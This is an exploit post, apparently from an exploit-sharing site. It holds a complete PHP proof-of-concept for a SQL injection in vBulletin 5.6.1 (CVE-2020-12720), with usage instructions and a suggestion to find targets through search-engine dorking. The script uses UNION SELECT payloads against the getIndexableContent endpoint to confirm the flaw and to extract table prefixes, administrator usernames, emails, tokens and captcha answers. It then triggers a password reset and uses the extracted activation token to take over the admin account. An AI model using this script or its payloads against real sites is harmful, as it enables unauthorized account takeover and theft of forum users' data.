vBulletin 5.6.1 SQL Injection

=============================================================================================================================================
    | # Title     : vbulletin 5.6.1 Code Injection Vulnerability                                                                                |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 131.0.3 (64 bits)                                                            |
    | # Vendor    : https://vbulletin.com/                                                                                                      |
    =============================================================================================================================================
    
    POC :
    
    [+] Dorking İn Google Or Other Search Enggine.
    
    [+] vulnerability found in vBulletin 5.x.x to dump the user table information or to dump all of the vBulletin tables (based on the selected options)
    
    [+] save code as poc.php .
    
    [+] Line 5 : set your target.
    
    [+] USage : cmd => c:\www\test\php poc.php
    
    [+] PayLoad :
    
    <?php
    
    $sADMINPASS = '12345678';
    $sCMD = 'id';
    $sURL = 'https://[target]/forums/';
    $sUSERID = '1';
    $sNEWPASS = '87654321';
    $iTimeout = 5;
    
    // Function to send a POST request
    function getData($sUrl, $lData) {
        $options = [
            'http' => [
                'header'  => "Content-Type: application/x-www-form-urlencoded\r\n",
                'method'  => 'POST',
                'content' => http_build_query($lData),
                'timeout' => 5,
            ],
        ];
        
        $context  = stream_context_create($options);
        $result = @file_get_contents($sUrl, false, $context);
        if ($result === FALSE) {
            die('----- ERROR, site down?');
        }
        
        return $result;
    }
    
    // Function to generate random strings
    function randomString($length = 8) {
        return substr(str_shuffle(str_repeat('abcdefghijklmnopqrstuvwxyz', ceil($length / 26))), 1, $length);
    }
    
    // Function to verify the vulnerability
    function verifyBug($sURL, $sUserid = '1') {
        $sPath = 'ajax/api/content_infraction/getIndexableContent';
        $lData = ['nodeId[nodeid]' => '1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,"cve-2020-12720",8,7,6,5,4,3,2,1;--'];
        $sResponse = getData($sURL . $sPath, $lData);
        if (strpos($sResponse, 'cve-2020-12720') === false) {
            echo '[!] Warning: not vulnerable' . PHP_EOL;
            return false;
        } else {
            echo '[+] SQLi Success!' . PHP_EOL;
            return true;
        }
    }
    
    // Function to takeover account
    function takeoverAccount($sURL, $sNEWPASS) {
        $sPath = 'ajax/api/content_infraction/getIndexableContent';
    
        // Get Table Prefixes
        $lData = ['nodeId[nodeid]' => '1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,table_name,8,7,6,5,4,3,2,1 FROM information_schema.columns WHERE column_name=\'phrasegroup_cppermission\';--'];
        $sResponse = getData($sURL . $sPath, $lData);
        preg_match('/rawtext.*?:(.*?)}"/', $sResponse, $matches);
        $sPrefix = isset($matches[1]) ? str_replace(['"', '}', 'language'], '', $matches[1]) : '';
    
        // Get usergroup ID for "Administrators"
        $lData = ['nodeId[nodeid]' => '1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,usergroupid,8,7,6,5,4,3,2,1 FROM ' . $sPrefix . 'usergroup WHERE title=\'Administrators\';--'];
        $sResponse = getData($sURL . $sPath, $lData);
        preg_match('/rawtext.*?:(.*?)}"/', $sResponse, $matches);
        $sGroupID = isset($matches[1]) ? str_replace(['"', '}'], '', $matches[1]) : '';
    
        // Get admin data
        $lData = ['nodeId[nodeid]' => '1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,concat(username,0x7c,userid,0x7c,email,0x7c,token),8,7,6,5,4,3,2,1 FROM ' . $sPrefix . 'user WHERE usergroupid=' . $sGroupID . ';--'];
        $sResponse = getData($sURL . $sPath, $lData);
        preg_match('/rawtext.*?:(.*?)}"/', $sResponse, $matches);
        list($sUsername, $sUserid, $sUsermail, $sUserTokenOrg) = explode('|', isset($matches[1]) ? str_replace(['"', '}'], '', $matches[1]) : '');
    
        // Create Human Verify Captcha
        $sPath = 'ajax/api/hv/generateToken?';
        $lData = ['securitytoken' => 'guest'];
        $sResponse = getData($sURL . $sPath, $lData);
        preg_match('/hash.*?:(.*?)}"/', $sResponse, $matches);
        $sHash = isset($matches[1]) ? str_replace(['"', '}'], '', $matches[1]) : '';
    
        // Get the captcha answer from DB
        $sPath = 'ajax/api/content_infraction/getIndexableContent';
        $lData = ['nodeId[nodeid]' => '1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,count(answer),8,7,6,5,4,3,2,1 FROM ' . $sPrefix . 'humanverify LIMIT 0,1--'];
        $sResponse = getData($sURL . $sPath, $lData);
        preg_match('/rawtext.*?:(.*?)}"/', $sResponse, $matches);
        $iAnswers = isset($matches[1]) ? (int) str_replace(['"', '}'], '', $matches[1]) : 1;
    
        $lData = ['nodeId[nodeid]' => '1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,answer,8,7,6,5,4,3,2,1 FROM ' . $sPrefix . 'humanverify LIMIT ' . ($iAnswers - 1) . ',1--'];
        $sResponse = getData($sURL . $sPath, $lData);
        preg_match('/rawtext.*?:(.*?)}"/', $sResponse, $matches);
        $sAnswer = isset($matches[1]) ? str_replace(['"', '}'], '', $matches[1]) : '';
    
        // Request password reset
        $sPath = 'auth/lostpw';
        $lData = [
            'email' => $sUsermail,
            'humanverify[input]' => $sAnswer,
            'humanverify[hash]' => $sHash,
            'securitytoken' => 'guest'
        ];
        $sResponse = getData($sURL . $sPath, $lData);
    
        // Get activation token
        $sPath = 'ajax/api/content_infraction/getIndexableContent';
        $lData = ['nodeId[nodeid]' => '1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,activationid,8,7,6,5,4,3,2,1 FROM ' . $sPrefix . 'useractivation WHERE userid=' . $sUserid . ' LIMIT 0,1--'];
        $sResponse = getData($sURL . $sPath, $lData);
        preg_match('/rawtext.*?:(.*?)}"/', $sResponse, $matches);
        $sToken = isset($matches[1]) ? str_replace(['"', '}'], '', $matches[1]) : '';
    
        // Reset password
        $sPath = 'auth/reset-password';
        $lData = [
            'userid' => $sUserid,
            'activationid' => $sToken,
            'new-password' => $sNEWPASS,
            'new-password-confirm' => $sNEWPASS,
            'securitytoken' => 'guest'
        ];
        $sResponse = getData($sURL . $sPath, $lData);
        if (strpos($sResponse, 'Logging in') === false) {
            echo '[!] Failed to take over the account!' . PHP_EOL;
        } else {
            echo '[+] Account takeover success!' . PHP_EOL;
        }
    }
    
    // Main execution
    if (verifyBug($sURL)) {
        takeoverAccount($sURL, $sNEWPASS);
    }
    
    ?>
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================